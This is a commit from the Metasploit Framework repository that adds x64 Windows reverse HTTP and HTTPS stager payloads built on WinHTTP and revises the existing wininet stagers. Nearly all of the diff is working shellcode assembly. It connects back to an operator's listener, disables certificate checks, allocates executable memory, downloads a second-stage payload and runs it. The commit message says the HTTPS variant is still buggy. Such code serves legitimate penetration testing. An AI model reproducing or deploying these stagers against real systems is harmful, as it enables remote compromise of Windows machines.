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metasploit-framework
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Implement winhttp for x64 

Still has some quirks to fix up, but we're getting there. Everything
seems to work except for reverse_winhttps. I can't see why at this
point.
bug/bundler_fix
OJ 2015-05-11 16:52:35 +10:00
parent 800ab11abd
commit e69e6c4a73
13 changed files with 714 additions and 133 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

6
lib/msf/core/payload/windows/x64/exitfunk.rb
View File

@ -57,8 +57,7 @@ module Payload::Windows::Exitfunk_x64
asm << %Q^
push 0 ;
pop rcx ; set the exit function parameter
mov ebx, 0x#{Msf::Payload::Windows.exit_types['process'].to_s(16)}
mov r10d, ebx ; place the correct EXITFUNK into r10d
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
call rbp ; ExitProcess(0)
^
@ -66,8 +65,7 @@ module Payload::Windows::Exitfunk_x64
asm << %Q^
push 300000 ; 300 seconds
pop rcx ; set the sleep function parameter
mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
mov r10d, ebx ; place the correct EXITFUNK into r10d
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
call rbp ; Sleep(30000)
jmp exitfunk ; repeat
^

68
lib/msf/core/payload/windows/x64/reverse_http.rb
View File

@ -198,8 +198,10 @@ module Payload::Windows::ReverseHttp_x64
end
asm = %Q^
xor rbx, rbx
load_wininet:
push 0
push rbx
mov r14, 'wininet'
push r14 ; Push 'wininet',0 onto the stack
mov r14, rsp ; Save pointer to string
@ -222,17 +224,19 @@ module Payload::Windows::ReverseHttp_x64
else
asm << %Q^
xor r8, r8 ; NULL pointer (lpszProxyName)
xor rdx, rdx ; PRECONFIG = 0 (dwAccessType)
; the push/pop sequence saves a byte over XOR
push rbx
pop rdx ; PRECONFIG = 0 (dwAccessType)
^
end
asm << %Q^
push 0 ; alignment
push 0 ; NULL pointer
push rbx ; 0 for alignment
push rbx ; 0 for alignment
xor r9, r9 ; NULL pointer (lpszProxyBypass)
mov rcx, rsp ; Empty string pointer (lpszAgent)
push 0 ; 0 (dwFlags)
push 0 ; alignment
push rbx ; 0 (dwFlags)
push rbx ; 0 for alignment
mov r10, 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call rbp
^
@ -247,10 +251,10 @@ module Payload::Windows::ReverseHttp_x64
mov rcx, rax ; HINTERNET (hInternet)
mov r8, #{opts[:port]} ;
xor r9, r9 ; String (lpszUsername)
push 0 ; NULL (dwContext)
push 0 ; 0 (dwFlags)
push rbx ; NULL (dwContext)
push rbx ; 0 (dwFlags)
push 3 ; INTERNET_SERVICE_HTTP (dwService)
push 0 ; alignment
push rbx ; 0 for alignment
mov r10, 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
call rbp
^
@ -277,8 +281,8 @@ module Payload::Windows::ReverseHttp_x64
pop r9
mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
; TODO: Without these pushes, things crashed. Not sure why.
push 0 ; alignment
push 0 ; alignment
push rbx ; 0 for alignment
push rbx ; 0 for alignment
call rbp
^
end
@ -297,8 +301,8 @@ module Payload::Windows::ReverseHttp_x64
pop r9
mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
; TODO: Without these pushes, things crashed. Not sure why.
push 0 ; alignment
push 0 ; alignment
push rbx ; 0 for alignment
push rbx ; 0 for alignment
call rbp
^
end
@ -318,9 +322,11 @@ module Payload::Windows::ReverseHttp_x64
httpopenrequest:
pop r8 ; String (lpszObjectName)
mov rcx, rax ; HINTERNET (hConnect)
xor rdx, rdx ; NULL pointer (lpszVerb)
; the push/pop sequence saves a byte over XOR
push rbx
pop rdx ; NULL pointer (lpszVerb)
xor r9, r9 ; String (lpszVersion)
push 0 ; 0 (dwContext)
push rbx ; 0 (dwContext)
; TODO: figure out what's going on here (get help from HD?)
; Having to use mov + push instead of push qword because
; Metasm doesn't seem to like it. Plain 'push' doesn't work
@ -328,8 +334,8 @@ module Payload::Windows::ReverseHttp_x64
;push qword 0x#{http_open_flags.to_s(16)} ; (dwFlags)
mov r10, 0x#{http_open_flags.to_s(16)} ; (dwFlags)
push r10
push 0 ; NULL pointer (lplpszAcceptTypes)
push 0 ; NULL pointer (lpszReferer)
push rbx ; NULL pointer (lplpszAcceptTypes)
push rbx ; NULL pointer (lpszReferer)
mov r10, 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call rbp
mov rsi, rax ; Store the request handle in RSI
@ -347,7 +353,7 @@ module Payload::Windows::ReverseHttp_x64
mov rcx, rsi ; (hInternet)
push 31 ; INTERNET_OPTION_SECURITY_FLAGS
pop rdx
push 0 ; alignment
push rbx ; 0 for alignment
push #{set_option_flags} ; (dwFlags)
mov r8, rsp
push 4 ; sizeof(dwFlags)
@ -360,18 +366,20 @@ module Payload::Windows::ReverseHttp_x64
asm << %Q^
httpsendrequest:
mov rcx, rsi ; HINTERNET (hRequest)
xor rdx, rdx ; NULL pointer (lpszHeaders)
; the push/pop sequence saves a byte over XOR
push rbx
pop rdx ; NULL pointer (lpszHeaders)
xor r8, r8 ; 0 (dwHeadersLength)
xor r9, r9 ; NULL pointer (lpOptional)
push 0 ; alignment
push 0 ; 0 (dwOptionalLength)
push rbx ; 0 for alignment
push rbx ; 0 (dwOptionalLength)
mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
call rbp
test rax,rax
test eax, eax ; use eax, it's 1 byte less than rax
jnz allocate_memory
try_it_again:
dec rdi
dec edi ; use edi, it's 1 byte less than rdi
jz failure
jmp retry
^
@ -391,10 +399,13 @@ module Payload::Windows::ReverseHttp_x64
asm << %Q^
allocate_memory:
xor rcx, rcx ; NULL pointer (lpAddress)
; the push/pop sequence saves a byte over XOR
push rbx
pop rcx ; NULL pointer (lpAddress)
mov rdx, 0x00400000 ; SIZE_T (dwSize)
mov r8, 0x1000 ; MEM_COMMIT (flAllocationType)
mov r9, 0x40 ; PAGE_EXECUTE_READWRITE (flProtect)
push 0x40
pop r9 ; PAGE_EXECUTE_READWRITE (flProtect)
mov r10, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
@ -416,10 +427,11 @@ module Payload::Windows::ReverseHttp_x64
test eax, eax ; did the download fail?
jz failure
mov ax, word ptr [edi]
add rbx, rax ; buffer += lpNumberOfBytesRead
mov ax, word ptr [rdi]
; Use ebx/eax here because we save bytes (don't need higher order 32 bits)
add ebx, eax ; buffer += lpNumberOfBytesRead
test rax, rax
test eax, eax ; use eax instead of rax, saves a byte
jnz download_more ; loop until 0 is returned
pop rax ; clear temp storage
pop rax ; alignment

477
lib/msf/core/payload/windows/x64/reverse_winhttp.rb Normal file
View File

@ -0,0 +1,477 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows/x64/reverse_winhttp'
module Msf
###
#
# Complex payload generation for Windows ARCH_X86 that speak HTTP(S) using WinHTTP
#
###
module Payload::Windows::ReverseWinHttp_x64
include Msf::Payload::Windows::ReverseHttp_x64
#
# Generate the first stage
#
def generate(opts={})
conf = {
:ssl => opts[:ssl] || false,
:host => datastore['LHOST'],
:port => datastore['LPORT'],
:url => generate_small_uri,
:retry_count => datastore['StagerRetryCount']
}
# Add extra options if we have enough space
unless self.available_space.nil? || required_space > self.available_space
conf[:url] = generate_uri
conf[:exitfunk] = datastore['EXITFUNC']
conf[:verify_cert_hash] = opts[:verify_cert_hash]
conf[:proxy_host] = datastore['PayloadProxyHost']
conf[:proxy_port] = datastore['PayloadProxyPort']
conf[:proxy_user] = datastore['PayloadProxyUser']
conf[:proxy_pass] = datastore['PayloadProxyPass']
conf[:proxy_type] = datastore['PayloadProxyType']
conf[:retry_count] = datastore['StagerRetryCount']
end
generate_reverse_winhttp(conf)
end
def transport_config(opts={})
transport_config_reverse_http(opts)
end
#
# Generate and compile the stager
#
def generate_reverse_winhttp(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
call start ; Call start, this pushes the address of 'api_call'
; onto the stack.
#{asm_block_api}
start:
pop rbp
#{asm_reverse_winhttp(opts)}
^
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# Add 100 bytes for the encoder to have some room
space += 100
# Make room for the maximum possible URL length
space += 256
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
space += 31
# The final estimated size
space
end
#
# Convert a string into a NULL-terminated wchar byte array
#
def asm_generate_wchar_array(str)
(str.to_s + "\x00").
unpack("C*").
pack("v*").
unpack("C*").
map{ |c| "0x%.2x" % c }.
join(",")
end
#
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Bool] :ssl Whether or not to enable SSL
# @option opts [String] :url The URI to request during staging
# @option opts [String] :host The host to connect to
# @option opts [Fixnum] :port The port to connect to
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
#
def asm_reverse_winhttp(opts={})
retry_count = [opts[:retry_count].to_i, 1].max
verify_ssl = nil
encoded_cert_hash = nil
encoded_url = asm_generate_wchar_array(opts[:url])
encoded_host = asm_generate_wchar_array(opts[:host])
if opts[:ssl] && opts[:verify_cert_hash]
verify_ssl = true
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
end
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
proxy_info = ""
if proxy_enabled
if opts[:proxy_type].to_s.downcase == "socks"
proxy_info << "socks="
else
proxy_info << "http://"
end
proxy_info << opts[:proxy_host].to_s
if opts[:proxy_port].to_i > 0
proxy_info << ":#{opts[:proxy_port]}"
end
proxy_info = asm_generate_wchar_array(proxy_info)
end
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user])
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass])
http_open_flags = 0
secure_flags = 0
if opts[:ssl]
http_open_flags = (
0x00800000 | # WINHTTP_FLAG_SECURE
0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE
secure_flags = (
0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID
0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE
0x00000100 ) # SECURITY_FLAG_IGNORE_UNKNOWN_CA
else
http_open_flags = (
0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE
end
asm = %Q^
; Input: RBP must be the address of 'api_call'.
; Clobbers: RAX, RSI, RDI, RSP will also be modified
xor rbx, rbx
load_winhttp:
push rbx
mov r14, 'winhttp' ; prepare the string 'winhttp'
push r14
mov rcx, rsp ; point to the string
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call rbp ; Call LoadLibraryA("winhttp")
^
if verify_ssl
asm << %Q^
load_crypt32:
push rbx
mov r14, 'crypt32' ; prepare the string 'crypt32'
push r14
mov rcx, rsp ; point to the string
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call rbp ; Call LoadLibraryA("crypt32")
^
end
asm << %Q^
WinHttpOpen:
^
if proxy_enabled
asm << %Q^
call get_proxy_server
db #{proxy_info}
get_proxy_server:
pop r8 ; stack pointer (lpszProxyName)
push 3 ; WINHTTP_ACCESS_TYPE_NAMED_PROXY 3 (dwAccessType)
pop rdx
^
else
asm << %Q^
xor r8, r8 ; NULL (lpszProxyName)
; the push/pop sequence saves a byte over XOR
push rbx ; push 0
pop rdx ; WINHTTP_ACCESS_TYPE_DEFAULT_PROXY 0 (dwAccesType)
^
end
asm << %Q^
xor r9, r9 ; NULL (lpszProxyBypass)
mov rcx, rsp ; Pointer to empty string ("")
push rbx ; 0 for alignment
push rbx ; NULL (lpszProxyBypass)
push rbx ; 0 (dwFlags)
push rbx ; 0 for alignment
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpen')}
call rbp ; Call WinHttpOpen(...)
WinHttpConnect:
call get_server_host
db #{encoded_host}
get_server_host:
pop rdx ; Stack pointer (pswzServerName)
mov rcx, rax ; hSession
mov r8, #{opts[:port]} ; nServerPort
; r9 should still be 0 after the previous call, so we don't need
; to clear it again
xor r9, r9 ; 0 (dwReserved)
push rbx ; 0 for alignment
push rbx ; 0 for alignment
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpConnect')}
call rbp
WinHttpOpenRequest:
call get_server_uri
db #{encoded_url}
get_server_uri:
pop r8 ; Stack pointer (pwszObjectName)
; r9 should still be 0 after the previous call, so we don't need
; to clear it again
;xor r9, r9 ; NULL (pwszVersion)
; the push/pop sequence saves a byte over XOR
push rbx ; push 0
pop rdx ; NULL (pwszVerb - defaults to GET)
mov rcx, rax ; returned by WinHttpConnect (hConnect)
push 0x#{http_open_flags.to_s(16)} ; (dwFlags)
push rbx ; NULL (ppwszAcceptTypes)
push rbx ; NULL (pwszReferer)
push rbx ; 0 for alignment
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpenRequest')}
call rbp
xchg rsi, rax ; save HttpRequest handle in rsi
^
if proxy_enabled && proxy_user
asm << %Q^
set_up_proxy_config:
push rbx ; pAuthParams (NULL)
^
if proxy_pass
asm << %Q^
call got_proxy_pass ; put proxy_pass on the stack
proxy_pass:
db #{proxy_pass}
got_proxy_pass:
; pwszPassword now on the stack
^
else
asm << %Q^
push rbx ; pwszPassword (NULL)
^
end
asm << %Q^
call got_proxy_user ; put proxy user on the stack
proxy_user:
db #{proxy_user}
got_proxy_user:
pop r9 ; Get proxy user (pwszUserName)
; the push/pop sequence saves a byte over XOR
push rbx ; push 0
pop rdx ; rdx is now 0
inc edx ; WINHTTP_AUTH_TARGET_PROXY = 1 (dwAuthSceme)
mov r8, rdx ; WINHTTP_AUTH_SCHEME_BASIC = 1 (dwAuthTargets)
mov rcx, rsi ; Request handle (hRequest)
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetCredentials')}
call rbp
^
end
if opts[:ssl]
asm << %Q^
set_security_options:
mov rcx, rsi ; Handle for request (hConnect)
push 31
pop rdx ; WINHTTP_OPTION_SECURITY_FLAGS (dwOption)
push 0x#{secure_flags.to_s(16)}
mov r8, rsp ; Pointer to flags (lpBuffer)
push 4
pop r9 ; 4 (dwBufferLength)
push rbx ; 0 for alignment
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')}
call rbp
test eax, eax ; use eax, it's 1 byte less than rax
jz failure
^
end
asm << %Q^
; Store our retry counter in the rdi register
set_retry:
push #{retry_count}
pop rdi
send_request:
WinHttpSendRequest:
mov rcx, rsi ; Request handle (hRequest)
; the push/pop sequence saves a byte over XOR
push rbx ; push 0
pop rdx ; NULL (pwszHeaders)
xor r8, r8 ; 0 (dwHeadersLength)
xor r9, r9 ; NULL (lpOptional)
push rbx ; push 0 (dwContext)
push rbx ; push 0 (dwTotalLength)
push rbx ; push 0 (dwOptionalLength)
push rbx ; 0 for alignment
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSendRequest')}
call rbp
test eax, eax ; use eax, it's 1 byte less than rax
jnz check_response ; if TRUE call WinHttpReceiveResponse API
try_it_again:
dec edi ; use edi, it's 1 byte less than rdi
jnz send_request
; if we didn't allocate before running out of retries, fall through
^
if opts[:exitfunk]
asm << %Q^
failure:
call exitfunk
^
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call rbp
^
end
# Jump target if the request was sent successfully
asm << %Q^
check_response:
^
# Verify the SSL certificate hash
if verify_ssl
asm << %Q^
ssl_cert_get_context:
mov rcx, rsi ; Request handle (hInternet)
push 78 ; WINHTTP_OPTION_SERVER_CERT_CONTEXT
pop rdx ; (dwOption)
; Thanks to things that are on the stack from previous calls, we don't need to
; worry about adding something to the stack to have space for the cert pointer,
; so we won't worry about doing it, it'll save us bytes!
mov r8, rsp ; Stack pointer (lpBuffer)
push 8 ; One whole pointer
mov r9, rsp ; Stack pointer (lpdwBufferLength)
push rbx ; 0 for alignment
push rbx ; 0 for alignment
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpQueryOption')}
call rbp
test eax, eax ; use eax instead of rax, saves a byte
jz failure ; Bail out if we couldn't get the certificate context
ssl_cert_get_server_hash:
mov rcx, [r9] ; Cert context pointer (pCertContext)
push 20 ; length of the sha1 hash
mov r9, rsp ; Address of length (pcbData)
sub rsp, [r9] ; Allocate 20 bytes for the hash output
mov r8, rsp ; 20 byte buffer (pvData)
push 3
pop rdx ; CERT_SHA1_HASH_PROP_ID (dwPropId)
; TODO: cater for alignment?
mov r10, #{Rex::Text.block_api_hash('crypt32.dll', 'CertGetCertificateContextProperty')}
call rbp
test eax, eax ; use eax instead of rax, saves a byte
jz failure ; Bail out if we couldn't get the certificate context
ssl_cert_start_verify:
call ssl_cert_compare_hashes
db #{encoded_cert_hash}
ssl_cert_compare_hashes:
pop rsi ; get the expected hash
mov rdi, r8 ; pointer to the retrieved hash
mov rcx, [r9] ; number of bytes to compare
repe cmpsb ; do the hash comparison
jnz failure ; Bail out if the result isn't zero
; Our certificate hash was valid, hurray!
^
end
asm << %Q^
receive_response:
; The API WinHttpReceiveResponse needs to be called
; first to get a valid handle for WinHttpReadData
mov rcx, rsi ; Handle to the request (hRequest)
; the push/pop sequence saves a byte over XOR
push rbx ; push 0
pop rdx ; NULL (lpReserved)
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReceiveResponse')}
call rbp
test eax, eax ; use eax instead of rax, saves a byte
jz failure
allocate_memory:
; the push/pop sequence saves a byte over XOR
push rbx ; push 0
pop rcx ; NULL (lpAddress)
; rdx should already be zero, so we can save two bytes by using edx here
mov edx, 0x00400000 ; 4mb for stage (dwSize)
mov r8, 0x1000 ; MEM_COMMIT (flAllocationType)
push 0x40 ; PAGE_EXECUTE_READWRITE
pop r9 ; (flProtect)
; TODO: cater for alignment?
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call rbp ; Call VirtualAlloc(...);
download_prep:
xchg rax, rbx ; place the allocated base address in rbx
push rbx ; store a copy of the stage base address on the stack
push rbx ; temporary storage for bytes read count
mov rdi, rsp ; &bytesRead
download_more:
mov rcx, rsi ; Handle to the request (hFile)
mov rdx, rbx ; Buffer pointer (lpBuffer)
mov r8, 8192 ; Size (dwNumberOfBytesToRead)
mov r9, rdi ; Size received (lpNumberOfBytesRead)
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReadData')}
call rbp
add rsp, 32 ; clean up reserved space
test eax, eax ; use eax instead of rax, saves a byte
jz failure
mov ax, word ptr [rdi] ; load the bytes read
; Use eax/ebx here, saves a byte. Don't need higher order bytes.
add ebx, eax ; buffer += bytes_received
test eax, eax ; use eax instead of rax, saves a byte
jnz download_more ; continue until it returns 0
pop rax ; clear the temporary storage
pop rax ; clear the temporary storage
execute_stage:
ret ; dive into the stored stage address
^
if opts[:exitfunk]
asm << asm_exitfunk(opts)
end
asm
end
end
end

70
lib/msf/core/payload/windows/x64/reverse_winhttps.rb Normal file
View File

@ -0,0 +1,70 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows/x64/reverse_winhttp'
require 'msf/core/payload/windows/verify_ssl'
require 'rex/payloads/meterpreter/uri_checksum'
module Msf
###
#
# Complex payload generation for Windows ARCH_X86_64 that speak HTTPS using WinHTTP
#
###
module Payload::Windows::ReverseWinHttps_x64
include Msf::Payload::Windows::ReverseWinHttp_x64
include Msf::Payload::Windows::VerifySsl
#
# Register reverse_winhttps specific options
#
def initialize(*args)
super
register_advanced_options([
OptBool.new('StagerVerifySSLCert', [false, 'Whether to verify the SSL certificate hash in the handler', false])
], self.class)
end
#
# Generate the first stage
#
def generate
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
super({
:ssl => true,
:verify_cert_hash => verify_cert_hash
})
end
def transport_config(opts={})
transport_config_reverse_https(opts)
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
space = super
# SSL support adds 20 bytes
space += 20
# SSL verification adds 120 bytes
if datastore['StagerVerifySSLCert']
space += 120
end
space
end
end
end

27
modules/payloads/stagers/windows/reverse_hop_http.rb
View File

@ -16,29 +16,22 @@ module Metasploit3
def initialize(info = {})
super(merge_info(info,
'Name' => 'Reverse Hop HTTP Stager',
'Description' => %q{ Tunnel communication over an HTTP hop point. Note that you must first upload
'Name' => 'Reverse Hop HTTP Stager',
'Description' => %q{
Tunnel communication over an HTTP hop point. Note that you must first upload
data/hop/hop.php to the PHP server you wish to use as a hop.
},
'Author' =>
[
'Author' => [
'scriptjunkie <scriptjunkie[at]scriptjunkie.us>',
'hdm'
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseHopHttp,
'Convention' => 'sockedi http',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseHopHttp,
'Convention' => 'sockedi http',
'DefaultOptions' => { 'WfsDelay' => 30 },
'Stager' =>
{
'Offsets' =>
{
# None, they get embedded in the shellcode
}
}
))
'Stager' => { 'Offsets' => { } }))
deregister_options('LHOST', 'LPORT')

20
modules/payloads/stagers/windows/reverse_http.rb
View File

@ -3,12 +3,11 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_http'
require 'msf/core/payload/windows/reverse_http'
module Metasploit3
module Metasploit4
CachedSize = 312
@ -18,13 +17,14 @@ module Metasploit3
def initialize(info = {})
super(merge_info(info,
'Name' => 'Reverse HTTP Stager',
'Description' => 'Tunnel communication over HTTP',
'Author' => 'hdm',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseHttp,
'Convention' => 'sockedi http'))
'Name' => 'Windows Reverse HTTP Stager (wininet)',
'Description' => 'Tunnel communication over HTTP (Windows wininet)',
'Author' => 'hdm',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseHttp,
'Convention' => 'sockedi http'))
end
end

20
modules/payloads/stagers/windows/reverse_https.rb
View File

@ -3,13 +3,11 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_https'
require 'msf/core/payload/windows/reverse_https'
module Metasploit3
module Metasploit4
CachedSize = 332
@ -19,14 +17,14 @@ module Metasploit3
def initialize(info = {})
super(merge_info(info,
'Name' => 'Reverse HTTPS Stager',
'Description' => 'Tunnel communication over HTTP using SSL',
'Author' => 'hdm',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseHttps,
'Convention' => 'sockedi https'))
'Name' => 'Windows Reverse HTTPS Stager (wininet)',
'Description' => 'Tunnel communication over HTTPS (Windows wininet)',
'Author' => 'hdm',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseHttps,
'Convention' => 'sockedi https'))
end
end

25
modules/payloads/stagers/windows/reverse_winhttp.rb
View File

@ -3,13 +3,11 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_http'
require 'msf/core/payload/windows/reverse_winhttp'
module Metasploit3
module Metasploit4
CachedSize = 327
@ -23,17 +21,14 @@ module Metasploit3
def initialize(info = {})
super(merge_info(info,
'Name' => 'Reverse HTTP Stager (WinHTTP)',
'Description' => 'Tunnel communication over HTTP (WinHTTP)',
'Author' =>
[
'hdm',
'Borja Merino <bmerinofe[at]gmail.com>'
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseHttp,
'Convention' => 'sockedi http'))
'Name' => 'Windows Reverse HTTP Stager (winhttp)',
'Description' => 'Tunnel communication over HTTP (Windows winhttp)',
'Author' => [ 'hdm', 'Borja Merino <bmerinofe[at]gmail.com>' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseHttp,
'Convention' => 'sockedi http'))
end
end

25
modules/payloads/stagers/windows/reverse_winhttps.rb
View File

@ -3,13 +3,11 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_https'
require 'msf/core/payload/windows/reverse_winhttps'
module Metasploit3
module Metasploit4
CachedSize = 347
@ -23,17 +21,14 @@ module Metasploit3
def initialize(info = {})
super(merge_info(info,
'Name' => 'Reverse HTTPS Stager (WinHTTP)',
'Description' => 'Tunnel communication over HTTP using SSL (WinHTTP)',
'Author' =>
[
'hdm',
'Borja Merino <bmerinofe[at]gmail.com>'
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseHttps,
'Convention' => 'sockedi https'))
'Name' => 'Windows Reverse HTTPS Stager (winhttp)',
'Description' => 'Tunnel communication over HTTPS (Windows winhttp)',
'Author' => [ 'hdm', 'Borja Merino <bmerinofe[at]gmail.com>' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseHttps,
'Convention' => 'sockedi https'))
end
end

21
modules/payloads/stagers/windows/x64/reverse_http.rb
View File

@ -4,12 +4,12 @@
##
require 'msf/core'
require 'msf/core/handler/reverse_https'
require 'msf/core/handler/reverse_http'
require 'msf/core/payload/windows/x64/reverse_http'
module Metasploit4
CachedSize = 513
CachedSize = 491
include Msf::Payload::Stager
include Msf::Payload::Windows
@ -17,8 +17,8 @@ module Metasploit4
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows x64 Reverse HTTP Stager',
'Description' => 'Tunnel communication over HTTP (Windows x64)',
'Name' => 'Windows x64 Reverse HTTP Stager (wininet)',
'Description' => 'Tunnel communication over HTTP (Windows x64 wininet)',
'Author' => ['OJ Reeves'],
'License' => MSF_LICENSE,
'Platform' => 'win',
@ -28,17 +28,4 @@ module Metasploit4
'Stager' => { 'Payload' => '' }))
end
#
# Do not transmit the stage over the connection. We handle this via HTTPS
#
def stage_over_connection?
false
end
#
# Always wait at least 20 seconds for this payload (due to staging delays)
#
def wfs_delay
20
end
end

19
modules/payloads/stagers/windows/x64/reverse_https.rb
View File

@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_https'
module Metasploit4
CachedSize = 545
CachedSize = 522
include Msf::Payload::Stager
include Msf::Payload::Windows
@ -17,8 +17,8 @@ module Metasploit4
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows x64 Reverse HTTPS Stager',
'Description' => 'Tunnel communication over HTTP using SSL (Windows x64)',
'Name' => 'Windows x64 Reverse HTTP Stager (wininet)',
'Description' => 'Tunnel communication over HTTP (Windows x64 wininet)',
'Author' => [ 'hdm', 'agix', 'rwincey' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
@ -28,17 +28,4 @@ module Metasploit4
'Stager' => { 'Payload' => '' }))
end
#
# Do not transmit the stage over the connection. We handle this via HTTPS
#
def stage_over_connection?
false
end
#
# Always wait at least 20 seconds for this payload (due to staging delays)
#
def wfs_delay
20
end
end

34
modules/payloads/stagers/windows/x64/reverse_winhttp.rb Normal file
View File

@ -0,0 +1,34 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_http'
require 'msf/core/payload/windows/x64/reverse_winhttp'
module Metasploit4
CachedSize = 502
include Msf::Payload::Stager
include Msf::Payload::Windows
include Msf::Payload::Windows::ReverseWinHttp_x64
def self.handler_type_alias
"reverse_winhttp"
end
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows x64 Reverse HTTP Stager (winhttp)',
'Description' => 'Tunnel communication over HTTP (Windows x64 winhttp)',
'Author' => [ 'OJ Reeves' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86_64,
'Handler' => Msf::Handler::ReverseHttp,
'Convention' => 'sockrdi http',
'Stager' => { 'Payload' => '' }))
end
end

35
modules/payloads/stagers/windows/x64/reverse_winhttps.rb Normal file
View File

@ -0,0 +1,35 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_https'
require 'msf/core/payload/windows/x64/reverse_winhttps'
module Metasploit4
CachedSize = 347
include Msf::Payload::Stager
include Msf::Payload::Windows
include Msf::Payload::Windows::ReverseWinHttps_x64
def self.handler_type_alias
"reverse_winhttps"
end
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows x64 Reverse HTTPS Stager (winhttp)',
'Description' => 'Tunnel communication over HTTPS (Windows x64 winhttp)',
'Author' => [ 'OJ Reeves' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86_64,
'Handler' => Msf::Handler::ReverseHttps,
'Convention' => 'sockrdi https',
'Stager' => { 'Payload' => '' }))
end
end